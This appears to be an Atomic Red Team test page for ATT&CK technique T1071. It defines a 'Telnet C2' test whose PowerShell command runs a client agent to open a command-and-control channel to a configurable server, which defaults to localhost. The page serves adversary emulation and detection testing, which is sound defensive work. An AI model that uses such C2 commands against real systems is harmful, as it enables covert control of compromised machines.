T1071 - Application Layer Protocol

Description from ATT&CK

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

Atomic Tests


Atomic Test #1 - Telnet C2

An adversary may establish telnet communication from compromised endpoint to command and control (C2) server to be able to operate more attack on objectives.

Supported Platforms: Windows

auto_generated_guid: 3b0df731-030c-4768-b492-2a3216d90e53

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | server_ip | C2 server IP or URL | url | 127.0.0.1| | client_path | Client agent path | path | PathToAtomicsFolder\T1071\bin\telnet_client.exe| | server_port | C2 server port | integer | 23|

Attack Commands: Run with
1
powershell
!

1
#{client_path} #{server_ip} --port #{server_port}

Dependencies: Run with
1
powershell
!

Description: Command and Control (C2) server cam be established by running PathToAtomicsFolder\T1071\bin\telnet_server.exe on specified server with specified IP that must be reachable by client (telnet_client.exe)
Check Prereq Commands:
1
2
$connection = Test-NetConnection -ComputerName #{server_ip} -Port #{server_port}
if ($connection.TcpTestSucceeded) {exit 0} else {exit 1}
Get Prereq Commands:
1
Write-Host "Setup C2 server manually"